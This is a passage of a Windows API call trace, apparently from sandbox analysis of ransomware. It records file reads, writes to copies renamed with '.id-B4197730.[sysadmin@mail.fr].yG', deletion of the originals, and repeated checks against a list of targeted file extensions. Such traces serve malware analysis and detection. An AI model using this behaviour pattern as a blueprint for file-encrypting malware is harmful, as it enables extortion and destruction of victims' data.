	[0184.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.596] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.596] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.601] GetLastError () returned 0x0
	[0184.601] ReadFile (in: hFile=0x340, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x2168, lpOverlapped=0x0) returned 1
	[0184.602] WriteFile (in: hFile=0x3a4, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x2170, lpOverlapped=0x0) returned 1
	[0184.603] ReadFile (in: hFile=0x340, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.604] WriteFile (in: hFile=0x3a4, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.604] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.604] CloseHandle (hObject=0x3a4) returned 1
	[0184.604] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.604] SetEndOfFile (hFile=0x340) returned 1
	[0184.605] CloseHandle (hObject=0x340) returned 1
	[0184.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0184.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.607] lstrlenW (lpString=".doc") returned 4
	[0184.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.607] lstrlenW (lpString=".docx") returned 5
	[0184.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.607] lstrlenW (lpString=".pdf") returned 4
	[0184.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.607] lstrlenW (lpString=".xls") returned 4
	[0184.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.607] lstrlenW (lpString=".xlsx") returned 5
	[0184.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.607] lstrlenW (lpString=".ppt") returned 4
	[0184.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.607] lstrlenW (lpString=".zip") returned 4
	[0184.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.607] lstrlenW (lpString=".rar") returned 4
	[0184.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".bz2") returned 4
	[0184.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".7z") returned 3
	[0184.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.608] lstrlenW (lpString=".dbf") returned 4
	[0184.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.608] lstrlenW (lpString=".1cd") returned 4
	[0184.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.608] lstrlenW (lpString=".jpg") returned 4
	[0184.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.608] lstrlenW (lpString=".doc") returned 4
	[0184.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".docx") returned 5
	[0184.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.608] lstrlenW (lpString=".pdf") returned 4
	[0184.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.608] lstrlenW (lpString=".xls") returned 4
	[0184.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.608] lstrlenW (lpString=".xlsx") returned 5
	[0184.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.609] lstrlenW (lpString=".ppt") returned 4
	[0184.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0184.609] lstrlenW (lpString=".zip") returned 4
	[0184.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.609] lstrlenW (lpString=".rar") returned 4
	[0184.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.609] lstrlenW (lpString=".bz2") returned 4

Thread:
	id = 99
	os_tid = 0x9f4

	[0178.541] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x771be8
	[0178.542] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x781bf0
	[0178.542] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa578
	[0178.542] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fdc8
	[0178.543] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa500
	[0178.543] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3b0c020
	[0178.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa4e8
	[0178.546] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa4e8, Size=0x20) returned 0x6de020
	[0178.546] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa4d0
	[0178.546] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa4d0, Size=0x20) returned 0x6de070
	[0178.546] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.547] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.547] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff50 | out: OldValue=0x301ff50*=0x0) returned 1
	[0178.547] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.547] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.547] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.547] Sleep (dwMilliseconds=0x64) 
	[0178.821] Sleep (dwMilliseconds=0x64) 
	[0179.065] Sleep (dwMilliseconds=0x64) 
	[0179.364] Sleep (dwMilliseconds=0x64) 
	[0179.784] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0179.784] lstrlenW (lpString="ipschs.xml") returned 10
	[0179.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.714] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2462) returned 1
	[0181.714] CloseHandle (hObject=0x358) returned 1
	[0181.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
	[0181.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.714] lstrlenW (lpString=".doc") returned 4
	[0181.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.714] lstrlenW (lpString=".docx") returned 5
	[0181.714] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0181.714] lstrlenW (lpString=".pdf") returned 4
	[0181.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.714] lstrlenW (lpString=".xls") returned 4
	[0181.714] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.714] lstrlenW (lpString=".xlsx") returned 5
	[0181.714] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0181.714] lstrlenW (lpString=".ppt") returned 4
	[0181.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString=".zip") returned 4
	[0181.715] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.715] lstrlenW (lpString=".rar") returned 4
	[0181.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString=".bz2") returned 4
	[0181.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString=".7z") returned 3
	[0181.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString=".dbf") returned 4
	[0181.715] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString=".1cd") returned 4
	[0181.715] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString=".jpg") returned 4
	[0181.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.715] lstrlenW (lpString=".doc") returned 4
	[0181.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString=".docx") returned 5
	[0181.715] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0181.715] lstrlenW (lpString=".pdf") returned 4
	[0181.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.715] lstrlenW (lpString=".xls") returned 4
	[0181.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.716] lstrlenW (lpString=".xlsx") returned 5
	[0181.716] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0181.716] lstrlenW (lpString=".ppt") returned 4
	[0181.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.716] lstrlenW (lpString=".zip") returned 4
	[0181.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.716] lstrlenW (lpString=".rar") returned 4
	[0181.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.716] lstrlenW (lpString=".bz2") returned 4
	[0181.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.716] lstrlenW (lpString=".7z") returned 3
	[0181.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.716] lstrlenW (lpString=".dbf") returned 4
	[0181.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.717] lstrlenW (lpString=".1cd") returned 4
	[0181.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0181.717] lstrlenW (lpString=".jpg") returned 4
	[0181.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.717] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0181.717] lstrlenW (lpString="Garden.jpg") returned 10
	[0181.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.201] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=23871) returned 1
	[0182.201] CloseHandle (hObject=0x368) returned 1
	[0182.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0182.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.202] lstrlenW (lpString=".doc") returned 4
	[0182.202] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.202] lstrlenW (lpString=".docx") returned 5
	[0182.202] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0182.202] lstrlenW (lpString=".pdf") returned 4
	[0182.202] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.202] lstrlenW (lpString=".xls") returned 4
	[0182.202] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.202] lstrlenW (lpString=".xlsx") returned 5
	[0182.202] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0182.202] lstrlenW (lpString=".ppt") returned 4
	[0182.202] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.202] lstrlenW (lpString=".zip") returned 4
	[0182.202] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.202] lstrlenW (lpString=".rar") returned 4
	[0182.202] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.202] lstrlenW (lpString=".bz2") returned 4
	[0182.203] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.203] lstrlenW (lpString=".7z") returned 3
	[0182.203] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.203] lstrlenW (lpString=".dbf") returned 4
	[0182.203] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.203] lstrlenW (lpString=".1cd") returned 4
	[0182.203] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.203] lstrlenW (lpString=".jpg") returned 4
	[0182.203] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.203] lstrlenW (lpString=".doc") returned 4
	[0182.203] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0182.203] lstrlenW (lpString=".docx") returned 5
	[0182.203] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0182.204] lstrlenW (lpString=".pdf") returned 4
	[0182.204] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0182.204] lstrlenW (lpString=".xls") returned 4
	[0182.204] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0182.204] lstrlenW (lpString=".xlsx") returned 5
	[0182.204] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0182.204] lstrlenW (lpString=".ppt") returned 4
	[0182.204] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0182.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.204] lstrlenW (lpString=".zip") returned 4
	[0182.204] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0182.204] lstrlenW (lpString=".rar") returned 4
	[0182.204] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0182.204] lstrlenW (lpString=".bz2") returned 4
	[0182.204] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0182.204] lstrlenW (lpString=".7z") returned 3
	[0182.204] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.205] lstrlenW (lpString=".dbf") returned 4
	[0182.205] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.205] lstrlenW (lpString=".1cd") returned 4
	[0182.205] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0182.205] lstrlenW (lpString=".jpg") returned 4
	[0182.205] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.205] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0182.205] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0182.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0182.206] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=235) returned 1
	[0182.206] CloseHandle (hObject=0x368) returned 1
	[0182.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20
	[0182.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.207] lstrlenW (lpString=".doc") returned 4
	[0182.207] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0182.207] lstrlenW (lpString=".docx") returned 5
	[0182.207] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0182.207] lstrlenW (lpString=".pdf") returned 4
	[0182.207] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0182.207] lstrlenW (lpString=".xls") returned 4
	[0182.207] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0182.207] lstrlenW (lpString=".xlsx") returned 5
	[0182.208] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0182.208] lstrlenW (lpString=".ppt") returned 4
	[0182.208] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0182.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.208] lstrlenW (lpString=".zip") returned 4
	[0182.208] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0182.208] lstrlenW (lpString=".rar") returned 4
	[0182.208] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0182.208] lstrlenW (lpString=".bz2") returned 4
	[0182.208] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0182.208] lstrlenW (lpString=".7z") returned 3
	[0182.208] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0182.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.208] lstrlenW (lpString=".dbf") returned 4
	[0182.208] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0182.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.208] lstrlenW (lpString=".1cd") returned 4
	[0182.208] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0182.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.209] lstrlenW (lpString=".jpg") returned 4
	[0182.209] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0182.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.209] lstrlenW (lpString=".doc") returned 4
	[0182.209] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0182.209] lstrlenW (lpString=".docx") returned 5
	[0182.209] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0182.209] lstrlenW (lpString=".pdf") returned 4
	[0182.209] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0182.209] lstrlenW (lpString=".xls") returned 4
	[0182.209] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0182.209] lstrlenW (lpString=".xlsx") returned 5
	[0182.209] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0182.209] lstrlenW (lpString=".ppt") returned 4
	[0182.209] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0182.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.210] lstrlenW (lpString=".zip") returned 4
	[0182.210] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0182.210] lstrlenW (lpString=".rar") returned 4
	[0182.210] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0182.210] lstrlenW (lpString=".bz2") returned 4
	[0182.210] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0182.210] lstrlenW (lpString=".7z") returned 3
	[0182.210] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0182.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.210] lstrlenW (lpString=".dbf") returned 4
	[0182.210] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0182.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.210] lstrlenW (lpString=".1cd") returned 4
	[0182.210] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0182.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73
	[0182.210] lstrlenW (lpString=".jpg") returned 4
	[0182.210] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0182.211] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0182.211] lstrlenW (lpString="HandPrints.jpg") returned 14
